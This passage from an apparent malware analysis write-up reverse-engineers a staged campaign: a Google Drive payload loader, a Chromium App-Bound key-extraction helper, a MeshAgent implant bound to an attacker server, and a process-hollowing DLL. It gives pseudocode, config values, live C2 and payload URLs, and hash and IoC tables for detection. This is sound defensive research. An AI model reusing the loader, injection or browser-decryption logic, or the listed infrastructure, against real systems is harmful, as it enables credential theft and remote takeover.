app64.dll318,976Intermediate native helper, likely Chromium App-Bound/browser key handling
msh.txt35,947MeshAgent configuration profile
agent.dll3,484,304MeshCentral/MeshAgent remote administration implant

The chain reconstructed from appload.dll and the auxiliary files is:

1
2
3
4
5
6
7
appload.dll,z
  -> downloads app64.log from Google Drive
  -> decrypts app64.log with RC4 using first 16 bytes as key
  -> produces app64.dll
  -> downloads/decrypts msh.log into msh.txt
  -> downloads/decrypts agent.log into agent.dll
  -> prepares MeshAgent configuration and launches/loads the agent

The important operational pivot is that the loader moves from custom staging into a legitimate remote-management framework: MeshCentral/MeshAgent.

20. app64.dll Reverse/Decompiler Notes

app64.dll is a 64-bit PE with no export table. It is not the same as appload.dll; it is the decrypted payload recovered from app64.log.

PE Summary

1
2
3
4
5
Machine:    AMD64 / 0x8664
ImageBase:  0x140000000
Entry RVA:  0x0000E590
Sections:   .text, .rdata, .data, .pdata, _RDATA, .rsrc, .reloc
PDB path:   Z:\\WorkSpace\\VC\\1\\AppBound\\x64\\Release\\AppBoundDecrypt.pdb

The embedded PDB path is the strongest naming clue: AppBoundDecrypt.pdb

The binary references Chromium-family browser install paths and profile Local State files:

1
2
3
4
5
6
7
8
C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe
\\Google\\Chrome\\User Data\\Local State
C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe
\\BraveSoftware\\Brave-Browser\\User Data\\Local State
C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe
\\Microsoft\\Edge\\User Data\\Local State
C:\\Program Files\\Naver\\Naver Whale\\Application\\whale.exe
\\Naver\\Naver Whale\\User Data\\Local State

It also imports process-enumeration and native process-control APIs:

1
2
3
4
5
6
7
8
9
10
11
12
OpenProcess
CreateToolhelp32Snapshot
Process32FirstW
Process32NextW
QueryFullProcessImageNameW
DuplicateHandle
CreateThread
CreateFileMappingW
MapViewOfFile
NtSuspendProcess
NtResumeProcess
NtQuerySystemInformation

Decompiled Behavior Summary

Decompiler-level behavior is consistent with a Chromium/App-Bound helper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int sub_140001F30() {
    BrowserTarget targets[] = {
        { "chrome", "C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe",
          "\\\\Google\\\\Chrome\\\\User Data\\\\Local State" },
        { "brave",  "C:\\\\Program Files\\\\BraveSoftware\\\\Brave-Browser\\\\Application\\\\brave.exe",
          "\\\\BraveSoftware\\\\Brave-Browser\\\\User Data\\\\Local State" },
        { "edge",   "C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe",
          "\\\\Microsoft\\\\Edge\\\\User Data\\\\Local State" },
        { "whale",  "C:\\\\Program Files\\\\Naver\\\\Naver Whale\\\\Application\\\\whale.exe",
          "\\\\Naver\\\\Naver Whale\\\\User Data\\\\Local State" }
    };

    for each target in targets {
        if (browser_exists(target.exe_path)) {
            locate_or_spawn_browser_context(target);
            inspect_browser_processes(target.process_name);
            access_local_state(target.local_state_path);
        }
    }

    return 0;
}

High-confidence observations:

  • It is browser-focused, not a general downloader.
  • The PDB name explicitly says AppBoundDecrypt.
  • It handles Chrome, Brave, Edge, and Naver Whale.
  • It has process and module enumeration logic, plus native suspend/resume APIs.

Analyst interpretation: this stage is likely intended to assist with Chromium App-Bound encryption bypass/decryption or key extraction, complementing the earlier PowerShell credential theft logic.

21. msh.txt Reverse/Config Notes

msh.txt is a MeshAgent configuration/profile file. It is plaintext and starts with MeshCentral-style fields:

1
2
3
4
5
6
MeshName=mycoms
MeshType=2
MeshID=0xAFC6ADEAE42BE9C75274C0F6DC503464C6F4FB6D6B77521A6B46AA9CAD91FBBA03D0E6B38F5D5BEADA64E2682C3301B8
ServerID=5A93B1A29F38C43CA42FED5728745C081D04C8390C54525545E10FDECE40C6FCF39941AE33F1C852A596B4418E6CD078
MeshAgent=wss://googleoba.servequake.com:8443/agent.ashx
InstallFlags=2

The key C2/management server IOC is:

1
wss://googleoba.servequake.com:8443/agent.ashx

The rest of the file contains MeshAgent UI translation strings and installer metadata. This is normal for MeshAgent packages, where the .msh profile binds an agent binary to a specific MeshCentral server, mesh/group, and server identity.

Decompiled/Logical Use

In MeshAgent-style logic, this file is consumed as configuration:

1
2
3
4
5
6
7
8
9
10
11
12
13
mesh_config = read_text_file("*.msh");

mesh_name   = parse_value(mesh_config, "MeshName");
mesh_type   = parse_value(mesh_config, "MeshType");
mesh_id     = parse_value(mesh_config, "MeshID");
server_id   = parse_value(mesh_config, "ServerID");
server_url  = parse_value(mesh_config, "MeshAgent");

if (server_url == NULL) {
    fail("MeshAgent URI not found");
}

connect_control_channel(server_url, mesh_id, server_id);

The ServerID value is used by MeshAgent to pin/validate the MeshCentral server identity. In this sample it binds the agent to the attacker-controlled googleoba.servequake.com endpoint.

22. agent.dll Reverse/Decompiler Notes

agent.dll is a full MeshCentral/MeshAgent binary. It is large, statically rich, and includes MeshAgent core strings, compressed JavaScript modules, TLS/certificate logic, service management, and KVM/remote desktop capability.

PE Summary

1
2
3
4
Machine:    AMD64 / 0x8664
ImageBase:  0x140000000
Entry RVA:  0x001DA03C
Sections:   .text, .rdata, .data, .pdata, .gfids, .rsrc, .reloc

High-signal strings:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
MeshAgent
MeshCentral
MeshAgent
Mesh Agent
Control Channel Connection Established
No MeshCentral settings found, place .msh file with this executable and restart.
agentcore: MeshAgent URI not found
wss://swarm.meshcentral.com:443/agent.ashx
wss://meshcentral.com:443/agent.ashx
KVM Session Ending
RemoteDesktopStream
MeshAgent.kvmSession
SelfUpdate -> Starting download
SelfUpdate -> Download Complete... Hash verified

Important imports indicate the agent’s capability set:

1
2
3
4
5
6
7
8
WS2_32.dll       network sockets
CRYPT32.dll      certificates and TLS identity material
ncrypt.dll       key generation/storage
USER32.dll       desktop, input, window, hook, and session APIs
GDI32.dll        screen capture/rendering primitives
ADVAPI32.dll     service control, registry, token, privilege APIs
IPHLPAPI.DLL     network adapter discovery
dbghelp.dll      crash dump / diagnostic stack walking

Decompiled Behavior Summary

The agent’s control-flow aligns with standard MeshAgent behavior:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int agent_main(int argc, char **argv) {
    initialize_runtime();
    initialize_crypto();
    initialize_networking();

    config = load_mesh_settings_from_msh_or_database();
    if (!config.MeshAgent) {
        log("No MeshCentral settings found, place .msh file with this executable and restart.");
        return ERROR_NO_CONFIG;
    }

    cert = load_or_generate_node_certificate();
    verify_or_pin_mesh_server_id(config.ServerID);

    while (true) {
        status = connect_control_channel(config.MeshAgent);
        if (status == CONNECTED) {
            run_meshcore();
            handle_commands();
        }

        sleep(retry_interval);
    }
}

Remote administration features visible in strings/imports include:

  • Control-channel connection to a MeshCentral server over WebSocket/TLS.
  • KVM/remote desktop streaming and input handling.
  • Service-mode installation and status management.
  • Self-update support.
  • Certificate generation and server identity verification.
  • Local diagnostics and optional crash dump generation.

MeshAgent Command Surface

Representative capability strings show that this is more than a beacon:

1
2
3
4
5
6
7
8
9
10
getRemoteDesktopStream
hasKVM
kvmConnected
kvmRefresh
remoteMouseRender
MeshDesktop
AgentCapabilities
serviceName
meshServiceName
SelfUpdate

Analyst interpretation: once configured with msh.txt, this file can provide the operator with persistent remote management and desktop-control capability through the MeshCentral server.

Auto Update Command

decrypted into:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
try
{
    var serviceLocation = process.argv.pop().toLowerCase();
    require('process-manager').enumerateProcesses().then(function (proc)
    {
        for (var p in proc)
        {
            if (proc[p].path && (proc[p].path.toLowerCase() == serviceLocation))
            {
                process.kill(proc[p].pid);
            }
        }
        process.exit();
    });
}
catch (e)
{
    process.exit();
}

23. Reconstructed Final-Stage Chain

The three auxiliary artifacts fit together as follows:

1
2
3
4
5
6
7
8
9
1. app64.dll
   Native helper focused on Chromium/App-Bound browser decryption or browser state extraction.

2. msh.txt
   MeshAgent profile binding the agent to:
   wss://googleoba.servequake.com:8443/agent.ashx

3. agent.dll
   MeshCentral/MeshAgent remote administration component that consumes the .msh profile.

Operationally, this means the campaign stages both:

  • an infostealer/browser-decryption helper, and
  • a remote-management implant.

This combination supports both immediate credential/session theft and longer-term interactive access.

24. Native PE Decompilation and Reverse Engineering

This section covers the recovered native PE artifacts:

  • decrypted_stage\sys.dll
  • decrypted_stage\appload.dll

PE Data Directories

sys.dll:

DirectoryRVASize
Export0x0002B6D00x3D
Import0x0002A9680x64
Resource0x000360000x1B2
Exception0x000335700x1CBC
BaseReloc0x000370000x500
IAT0x000220000x3F0

appload.dll:

DirectoryRVASize
Export0x000291D00x3D
Import0x000286080x50
Resource0x000310000x1B4
Exception0x0002F0000x1AAC
BaseReloc0x000320000x500
IAT0x000200000x370

25. sys.dll Decompilation Notes

Exported Entry

1
2
3
4
Export DLL name: baby.dll
Export:          k
Export RVA:      0x00001C70
Invocation:      rundll32 sys.dll,k

Export stub bytes:

1
2
3
40 55 53 48 8D AC 24 08 F7 FF FF 48 81 EC F8 09 00 00
48 8B 05 27 AD 02 00 48 33 C4 48 89 85 E0 08 00 00
33 DB 48 8D 0D D4 42 02 00 45 33 C9 ...

The export begins with a large stack frame (0x9F8) and stack-cookie setup, indicating MSVC-style compilation. The export contains direct call sites to file/path staging, mutexing, WinINet retrieval, cache deletion, and process-launch/injection helpers.

Import Call-Site Highlights

High-signal call sites resolved from .text to imported APIs:

APICall Sites
ADVAPI32!RegOpenKeyExA0x1D02
KERNEL32!CopyFileA0x1C23, 0x1ED8
KERNEL32!CreateFileA0x1CBD, 0x8061, 0x1BC42, 0x1BC97, 0x1C121
KERNEL32!CreateMutexA0x1D22
KERNEL32!CreateProcessA0x71BC
KERNEL32!CreateThread0x1D65, 0x1D9C
KERNEL32!OpenProcess0x728C
KERNEL32!WriteProcessMemory0x6E5C
KERNEL32!VirtualAlloc0x6531, 0x66C7, 0x66E4, 0x6754, 0x687C, 0x7F1F, 0x86C5
KERNEL32!VirtualProtectEx0x6CA5, 0x6D99, 0x6E1D
KERNEL32!GetThreadContext0x741D, 0x7504
KERNEL32!SetThreadContext0x743B
KERNEL32!ResumeThread0x2561
KERNEL32!Wow64GetThreadContext0x73CD, 0x74B5
KERNEL32!Wow64SetThreadContext0x73EB
SHELL32!SHGetSpecialFolderPathA0x1934, 0x1B7A, 0x1E75, 0x2122, 0x21A3
SHELL32!ShellExecuteA0x10CC
WININET!InternetOpenA0x17D1
WININET!InternetOpenUrlA0x17FC
WININET!InternetReadFile0x1847, 0x1881
WININET!DeleteUrlCacheEntry0x20A2, 0x2245, 0x22B7

Reconstructed Control Flow

The export k acts as an orchestration routine. The early export region contains call sites to CreateFileA, CopyFileA, CreateMutexA, and CreateThread, consistent with a staged loader that copies or materializes payload data, creates a single-instance guard, and launches worker threads.

Decompiler-style pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// sys.dll, baby.dll!k, RVA 0x1C70
void export_k(void) {
    init_stack_cookie();

    // Staging paths are derived from special folders and environment state.
    temp_or_appdata = resolve_special_folder_or_env();

    // Static strings indicate use of:
    //   %s\Temp\Taskmgr.exe
    //   %s\user.txt
    //   Chrome/Edge application paths
    build_stage_paths(temp_or_appdata);

    // VMware Tools key is probed before or during execution.
    if (RegOpenKeyExA(HKLM_or_HKCU, "SOFTWARE\\VMware, Inc.\\VMware Tools", ...) == SUCCESS) {
        // environment-aware path; exact branch target unresolved statically
        close_key_and_continue_or_abort();
    }

    // WinINet download routine.
    hInet = InternetOpenA(user_agent_chrome_145, ...);
    hUrl  = InternetOpenUrlA(hInet, url_or_payload_source, ...);
    while (InternetReadFile(hUrl, buffer, size, &read) && read != 0) {
        append_to_stage_file(buffer, read);
    }
    InternetCloseHandle(hUrl);
    InternetCloseHandle(hInet);
    DeleteUrlCacheEntry(url_or_payload_source);

    // Loader/injection path.
    payload = map_or_load_pe_from_stage_file();
    target = CreateProcessA("%TEMP%\\Taskmgr.exe" or browser_path, ..., CREATE_SUSPENDED, ...);
    remote = VirtualAllocEx_like(target.process, image_size);
    WriteProcessMemory(target.process, remote, payload_headers_and_sections, ...);
    VirtualProtectEx(target.process, remote, ..., executable_protection, ...);

    ctx = GetThreadContext_or_Wow64GetThreadContext(target.thread);
    patch_entrypoint(ctx, remote_entrypoint);
    SetThreadContext_or_Wow64SetThreadContext(target.thread, ctx);
    ResumeThread(target.thread);
}

Injection Assessment

The combination of CreateProcessA, OpenProcess, WriteProcessMemory, VirtualProtectEx, GetThreadContext, SetThreadContext, Wow64*ThreadContext, and ResumeThread is a coherent process-hollowing / PE-mapping capability set. The recovered string src\pe_raw_to_virtual.cpp further supports a custom PE image mapper. This is stronger evidence than a generic suspicious import table because the import call-site scan confirms these APIs are directly called from .text.

26. Detection Opportunities

Function-Level Detection Anchors

sys.dll:

  • Export: baby.dll!k
  • Export RVA: 0x1C70
  • Injection cluster: CreateProcessA at 0x71BC, WriteProcessMemory at 0x6E5C, VirtualProtectEx at 0x6CA5/0x6D99/0x6E1D, SetThreadContext at 0x743B, ResumeThread at 0x2561.
  • Network cluster: InternetOpenA at 0x17D1, InternetOpenUrlA at 0x17FC, InternetReadFile at 0x1847/0x1881, cache cleanup at 0x20A2/0x2245/0x22B7.

appload.dll:

  • Export: baby.dll!z
  • Export RVA: 0x1790
  • Injection cluster: CreateProcessA at 0x5C1C, WriteProcessMemory at 0x58BC, VirtualProtectEx at 0x5705/0x57F9/0x587D, SetThreadContext at 0x5E9B, ResumeThread at 0x1DB1/0x568D.
  • Network cluster: InternetOpenA at 0x1571, InternetOpenUrlA at 0x159C, InternetReadFile at 0x15E7/0x1621, cache cleanup at 0x187A/0x1A83/0x1AB3.

Analyst Notes

The two DLLs appear to share a loader framework:

  • Both export as baby.dll while using different export names (k, z).
  • Both are x64 PE32+ DLLs with similar MSVC runtime artifacts.
  • Both use WinINet for retrieval, explicit cache deletion, and a PE-mapping/injection API set.
  • Both reference Taskmgr.exe staging and browser executable paths.
  • Both contain error strings associated with custom PE image mapping.

sys.dll appears to be the first native loader invoked by the VBScript stage. appload.dll is a later plugin invoked by the PowerShell RAT for application/browser key handling and auxiliary payload staging.

27. Indicators and Hashes

File Identification & Indicators of Compromise

File Identification

FilenameFile SizeArchitectureMD5SHA-1SHA-256Compilation Timestamp
tax_refund.zip1,048,065 bytesN/A - ZIP containerE6349DCE8C03DA21AF31C9C73831A88AC11B3789792869F2A8A7748134C4A81D0E5C52E189D7EDBE8559FA62E844232C74502E66CA9C3E1501459862929032B4ADF3067FN/A
[non-ASCII lure filename].pdf1,054,789 bytesN/A - PDF lure9F7D8CBC031F49B889AAB83EC08D62A782F39A9F6E94902972536E6AC81011F4C0C9D2E721117589CEA85FC571CD3C583470071113434AA487A08D5ABEE3D4B5AAB6B3AAN/A
[non-ASCII].txt.lnk2,547 bytesWindows Shell Link; x86/x64 agnosticF24D66F1DD6FE26566F1960EE250348BDCDD8A86476CF718F682EE8D19DA7C52AD9B79B62915D6F2C30BE13B47088829D5F9500F1A09F83E88C87A3AAD230C6D2837CF0DN/A - LNK header timestamps: 2025-09-09 19:41:00 UTC

Network IoCs

TypeIndicatorPort / SchemeContext
Domainlink24.krHTTPS / 443Decoded from PowerShell -EncodedCommand embedded in LNK
URLhxxps://link24[.]kr/1y0mZTcHTTPS / 443Remote resource passed to mshta.exe

Host IoCs

TypeIndicatorContext
Archivetax_refund.zipDelivery container
Shortcut[non-ASCII].txt.lnkWeaponized Shell Link launcher
PDF lure[non-ASCII lure filename].pdfDecoy/lure document
Process imageC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLNK target path recovered from shortcut strings
Process imageC:\Windows\System32\mshta.exeInferred child process from decoded command
Icon resourceC:\Windows\System32\imageres.dllUsed for masquerading as a text file
LNK CLSID00021401-0000-0000-c000-000000000046Shell Link CLSID

File Identification

FilenameFile SizeArchitectureMD5SHA-1SHA-256Compilation Timestamp
pwko.vba59,102 bytesN/A - VBScript/HTA scriptD6ADF967E588D13980FE8378B701993B457F597E759CB55D9017BE460B75929E058A095869C82D2AB46D743871DCCCA6C21A0447D16CE881B1733B7E86DF00468D5DBBC6N/A

Entropy: 4.9511, consistent with text script containing arithmetic string obfuscation rather than binary packing.

Additional Network IoCs

TypeIndicatorContext
URLhxxps://drive.google[.]com/uc?export=download&id=1u0g1doVUDc5VCeP653aze60SGlhs3efQDownloaded to %TEMP%\password.txt
URLhxxps://drive.google[.]com/uc?export=download&id=1x9mkl4q9ZU8_hDPNF5w0Mu8ePxVWI5VJConditionally downloaded to %LOCALAPPDATA%\user.txt if WinDefend is stopped
URLhxxps://drive.google[.]com/uc?export=download&id=116azn_9bUov3mkSORbPk8_4zIVVNBHZnDownloaded to %LOCALAPPDATA%\sys.log; AES-decrypted to sys.dll
URLhxxps://drive.google[.]com/uc?export=download&id=1jqpw8UHpsY5ps3nKOfkyo2ql4hC23MewDownloaded to %LOCALAPPDATA%\pipe.log; AES-decrypted to pipe.zip

Additional Host IoCs

TypeIndicatorContext
Script stagepwko.vbaHTA-compatible VBScript returned to mshta.exe
Dropped file%TEMP%\password.txtDownloaded and opened/executed through shell association
Dropped file%LOCALAPPDATA%\user.txtConditional download when sc query WinDefend output contains STOPPED
Dropped encrypted blob%LOCALAPPDATA%\sys.logAES ciphertext for DLL payload
Decrypted payload%LOCALAPPDATA%\sys.dllDecrypted from sys.log; executed via rundll32 sys.dll,k
Dropped encrypted blob%LOCALAPPDATA%\pipe.logAES ciphertext for ZIP payload
Decrypted archive%LOCALAPPDATA%\pipe.zipDecrypted from pipe.log; expanded with PowerShell
Extracted directory%LOCALAPPDATA%\pipe\Output of Expand-Archive -Path pipe.zip
Script payload%LOCALAPPDATA%\pipe\1.ps1Executed with PowerShell policy bypass
Script argument%LOCALAPPDATA%\pipe\1.logPassed to 1.ps1 as -FileName 1.log

Downloaded Payload Set

Scope

The following artifacts were retrieved from the Google Drive URLs embedded in pwko.vba and placed in the analysis directory. Analysis remained static; no downloaded executable, script, DLL export, or PowerShell payload was executed.

File Identification

FilenameFile SizeArchitectureMD5SHA-1SHA-256
password.txt21 bytesplaintext46E075C946A9DCF1CCB2C82F2C75564ED9D959747610E87181AA7E0A393CC628BA2779B9912FC71662D52486838562581C3F44219A8E7B053590B13D4EDFBFC67E953D68
user.txt262 bytesUnknown encrypted/opaque blobC43D21DFA6DCAAF84FFF6CB00BD47693FA001EEB4061335E69B3F8578BCA8D3CC16D2CA70E1F40D7459D0DF0C739AA3F793CA3D556DB44A474613299F96E96BFA6657160
sys.log199,696 bytesAES ciphertext7AA1CED2B95A6D256ED078A0C6B8CF1932595B5ACB2CDA789AC93554AC5267BD373ACC0F22763195037DD87C25F1217E6D0E457DBBC52C58404D71B73600789E48EA9968
pipe.log15,440 bytesAES ciphertext50206337F075C23D980C4E7106D0965C81382354885AD4EAE59EE83FB9258A5BFD29009FA3A0D62DB9FD3DE458EF3805F331A29490B7100A1CCF70340BB8B2E95D5D4C20
sys.dll199,680 bytesPE32+ DLL, x6477D1EC7FD2AC1DF3B4B0ECB52DFAFC92C6F02E1ACA9CF2C9F81352B7F5ADD08BFD30857F9758E76B601798A30D903BF05052A53DF80451E5C156548CE9DA828F608B6470
pipe.zip15,431 bytesZIP archive427E98230CE245D6E78B20E52C253D869E846A12DF1DCB1DF90A4EE0B1BF70E70029DA5A107B5AA3C4EF30B9B832E0A10B1EFB1DCF433158BC6AF8D890D66C0C9ED50D21
1.ps1183 bytesPowerShell loader6E700FA68B1A4DCE7836CDEB2F7505C3ADCF29C4ABBC25ED7B16BE49F5FBE60C6D9DD8BC3C7A0904C80ECB0F28F89453F4BFBE09AECDDA646FE9BCEB154670E92F51A95E
1.log40,124 bytesBase64 PowerShell payloadCEF6E4DE9478C5D1A73A6ACCAD5BACF6A89FFB58E64F3AAD3BAB37E6720F04B48B6135B37C9DAE29CEC1A63EE3FE9EDA38246FE8590BCC1795DFE31C903A0E40A87A6EDB
2.log5,428 bytesBase64 PowerShell keylogger payload424AC088A7E7841E0C11A599687875F603CC84389807B88595512C3B7EFFD91723E7FAB9ED3CE0D3307446B23AA7CCDB977A4648DB1CB64BD9305BAE20061B59F97177B2
decoded_1.ps130,092 bytesPowerShell infostealer/RAT7AACF7C8DE3CE72A73EE32B75ABBBE3F54418A7781BF3B551671591630F0CE6F9310E95D792BBC7DE30F6FC04FEFCD7752D85119BE309BFF732C0B68E0EAD2979890D513
decoded_2.ps14,070 bytesPowerShell keylogger314581F4B2D702860E1882E7FD8F11F0B806A43E899DAF7A2D274F4F9801E331B18D1CA2BF5FCDEF5AC77400EF3A69C87BB699B3B9311E9B54BCE9841A753CD2A186132F

Entropy:

ArtifactEntropyAssessment
password.txt4.1066Plaintext token/password-like string: kfgxl;Y859$#KG4fkdl^&.
user.txt7.1710Opaque high-entropy blob; not decrypted by the observed pwko.vba logic.
sys.log7.9990AES ciphertext for sys.dll.
pipe.log7.9876AES ciphertext for pipe.zip.

File Identification

FilenameFile SizeArchitectureMD5SHA-1SHA-256Compilation Timestamp
pserver.log32 bytesAES ciphertextEB68BC8C79E55048E8EE4FD22C1B34713CB74DAD2951AF0944691C022A06469B441A6F8A73BCFE9209ED2BC8CE817319091C53F68DFD892B67BC77B4012CC35B09174719N/A
pserver.txt28 bytesPlaintext C2 URL6EBB3C7091FF33761A29581DCEF27900DD87C252D4A54867DDBF06578C3ED0419515528A1F045B010F9A554DCA4670E7165354CDD3C4F5B086C1C667760F73A3FFFBF667N/A
appload.log182,288 bytesAES ciphertext96EC0C480E13D91F3CB693487E0B11CEBCCF16DEB26F6DB0FAC1F05F61BD0BD59112A05710781A32A608150E81108FB56469B836894435C0516A03628E9F62D950CBB37FN/A
appload.dll182,272 bytesPE32+ DLL, x64D1FD32DB51C6927066A15668A367069387FFD59B37BA300C7CD398CA1277071F0FF868F4943E3D0534EB4EE6401CDD060BC35EDA394757457F1F1BBC5542D93C5901B4D12026-05-07 04:43:29 UTC

Additional Network IoCs

TypeIndicatorContext
URLhxxps://lutkdd[.]corpsecs[.]com/Decrypted C2 base URL from pserver.log.
Domainlutkdd.corpsecs.comC2 host used by decoded_1.ps1 polling/upload protocol.
URLhxxps://drive.google[.]com/uc?export=download&id=1FA9TvcakCgfeRdLaejIJbeoFjuI9GB6REncrypted C2 bootstrap ( pserver.log).
URLhxxps://drive.google[.]com/uc?export=download&id=15Xkvt3TwCQJERcUHSUandCigMVVxsFqrEncrypted app-key plugin ( appload.log).
URLhxxps://drive.google[.]com/uc?export=download&id=1EkyeoSdhvGqcEpZkqBUzXnJYPLka7zJcEmbedded in appload.dll; likely auxiliary plugin/payload.
URLhxxps://drive.google[.]com/uc?export=download&id=1rqN7zYXO0jNSsZy8gSECxSxY57T0T_xrEmbedded in appload.dll; likely auxiliary plugin/payload.
URLhxxps://drive.google[.]com/uc?export=download&id=176jQJH3H3DHPzjFI-tIjrV8KLtEBgY_mEmbedded in appload.dll; likely auxiliary plugin/payload.

File Identification

FilenameFile SizeArchitectureMD5SHA-1SHA-256Compilation Timestamp
app64.log318,992 bytesUnknown encrypted/packed blob7F38442308BB2AD43EFE0671873E179F2E23F1E6E340C2DBC93E48FE63E86BA08AC14154F58B089C8BB8DE31CE9887A6B700B0106259C29156BED56EC5CCE1B7E2128BBDN/A
agent.log3,484,320 bytesUnknown encrypted/packed blob40ED8082923988BA08128A21E45674F626158CF59C85EDCB1EE5EDFCCFAEDC4609B6CFF5FBBF6C23BB48E0F178C5097483B92459C9288E9B08E9733FE6F31E861FB43BFFN/A
msh.log35,963 bytesUnknown encrypted/packed blob9AAB6CF2119E3E8D8F7C0A11E130E136D90D5B197ECC37D0B91A695D72D51ADE4E5E200E802E8519A279FE9637D66F225FBE8B6B02055156C8F5EA3275922966BB734F18N/A

Entropy and leading bytes:

ArtifactEntropyFirst 16 Bytes
app64.log7.9994C1 49 21 C6 41 5E C1 71 A8 1F A9 F4 D7 8D 4C BA
agent.log8.000028 07 EE 44 7F A2 16 0F 00 57 E7 4A 9D EF F0 8A
msh.log7.995476 A4 EE B5 25 32 54 03 9E 0D 63 C2 3F C3 6B AC

Additional Network IoCs

TypeIndicatorContext
URLhxxps://drive.google[.]com/uc?export=download&id=1EkyeoSdhvGqcEpZkqBUzXnJYPLka7zJcAuxiliary blob app64.log; embedded in appload.dll.
URLhxxps://drive.usercontent.google[.]com/download?id=1rqN7zYXO0jNSsZy8gSECxSxY57T0T_xrAuxiliary blob agent.log; functionally same ID as embedded Google Drive URL.
URLhxxps://drive.google[.]com/uc?export=download&id=176jQJH3H3DHPzjFI-tIjrV8KLtEBgY_mAuxiliary blob msh.log; embedded in appload.dll.
This post is licensed under CC BY 4.0 by the author.